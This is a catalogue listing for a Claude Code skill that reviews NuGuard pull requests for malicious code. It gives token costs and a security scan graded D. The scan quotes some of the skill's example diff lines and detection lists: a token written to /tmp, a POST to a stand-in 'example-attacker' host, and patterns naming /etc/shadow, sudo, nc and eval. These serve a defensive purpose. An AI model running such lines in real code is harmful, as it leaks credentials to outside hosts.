nuguard: Skill for Claude Code

.github/skills/pr-security-reviewer/SKILL.md

pr-security-reviewer is a skill for Claude Code from NuGuardAI/nuguard. It costs 122 tokens per session (1,960 once invoked), scanned D, original, no licence file.

A review skill for checking pull requests and commits in the NuGuard open-source repository for malicious or unsafe contributor behavior.

In plain words
What is it for?
Use it to review a pull request, investigate a contributor, or look for malicious code before merging.
Why use it?
It helps assess whether proposed repository changes are safe to merge.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

This is NuGuardAI/nuguard's own configuration. It tells Claude Code how to work on nuguard itself, so it is not a mod to install elsewhere. Copy it as a starting point and replace the rules that are about this project. Everything nuguard configures →

Part of the nuguard plugin — 2 skills, 1 agent, 1 plugin shipped together

Reuse

Borrowing it

Nothing to install: this file belongs to NuGuardAI/nuguard. Take a copy, put it at the same path in your own repository, and replace the rules that are about this project with yours.

Copy the file
curl -O https://raw.githubusercontent.com/NuGuardAI/nuguard/develop/.github/skills/pr-security-reviewer/SKILL.md
Clone the repo
git clone --depth 1 https://github.com/NuGuardAI/nuguard

Made for: Claude Code.

Or install nuguard, the plugin that ships this one along with the rest of its 2 skills, 1 agent, 1 plugin.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for pr-security-reviewer

README.md
[![agentmods](https://agentmods.dev/badge/skills/nuguardai/nuguard/pr-security-reviewer/github.svg)](https://agentmods.dev/skills/nuguardai/nuguard/pr-security-reviewer)
Your own site
<a href="https://agentmods.dev/skills/nuguardai/nuguard/pr-security-reviewer"><img src="https://agentmods.dev/badge/skills/nuguardai/nuguard/pr-security-reviewer/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for pr-security-reviewer

Your own site · 80×15
<a href="https://agentmods.dev/skills/nuguardai/nuguard/pr-security-reviewer"><img src="https://agentmods.dev/badge/skills/nuguardai/nuguard/pr-security-reviewer.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 122 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,960 The whole file, excluding the scripts and references it only reads on demand.
Security scan D 6 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00122 $0.01960
Opus 5 $0.00061 $0.00980
Sonnet 5 $0.00024 $0.00392
Haiku 4.5 $0.00012 $0.00196

Measured 12d ago against content hash 269355095121, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade D, and why

pr-security-reviewer scanned grade D with 6 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Hidden instructionshighPrompt injection

Directives inside HTML comments, invisible characters or bidirectional overrides are read by the model and not by the person reviewing the file.

​```diff + with open("/tmp/session_token.txt", "w") as f: + f.write(response.headers["Authorization"]) ​``` **#5 — new external API call** (`nuguard/behavior/reporter.py:42`, commit `def5678`) ​```diff + requests.post("h

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

+ requests.post("https://telemetry.example-attacker.io/collect", json=payload)

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Asks for rootlowPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

| 3 | No privileged/dangerous commands | `sudo`, `su -`, `chmod 777`, `chmod -R`, `setuid`, `usermod`, `passwd`, `/etc/passwd`, `/etc/shadow`, `--privileged`, `NOPASSWD` | Diff hunk |

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

| 3 | No privileged/dangerous commands | `sudo`, `su -`, `chmod 777`, `chmod -R`, `setuid`, `usermod`, `passwd`, `/etc/passwd`, `/etc/shadow`, `--privileged`, `NOPASSWD` | Diff hunk |

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

| 1 | No data/secret exfiltration | Outbound calls to non-allowlisted hosts combined with reads of secrets/env/keys: `requests\.(post\|put\|get)`, `httpx\.`, `urllib`, `socket\.`, `fetch\(`, `curl `, `nc `, `os\.environ`

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

| 7 | No obfuscated/dynamic code execution | `eval(`, `exec(`, `base64.b64decode`, `codecs.decode(... , 'rot13')`, `subprocess.*shell=True`, `os.system(`, `pickle.loads(` on untrusted input | Diff hunk |
.github/skills/pr-security-reviewer/SKILL.md · 125 lines

The source is not reproduced here

A licence we could not identify

The repository carries a LICENSE file, but it is custom or dual enough that GitHub cannot name it and neither can this catalogue. Unknown terms are not permission, so the body is not copied here. Read the licence at the source and decide for yourself.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 12d ago First seen · 125 lines · 122 tokens per session scan D 269355095121

Subscribe to this mod's changes

pr-security-reviewer is a skill published in the GitHub repository NuGuardAI/nuguard (45 stars, last pushed today), with no licence file. It adds 122 tokens to every session and 1,960 once invoked, about $0.0006 per session on Opus 5. A static security scan graded it D with 6 findings (hidden instructions, sends data to an external url, asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.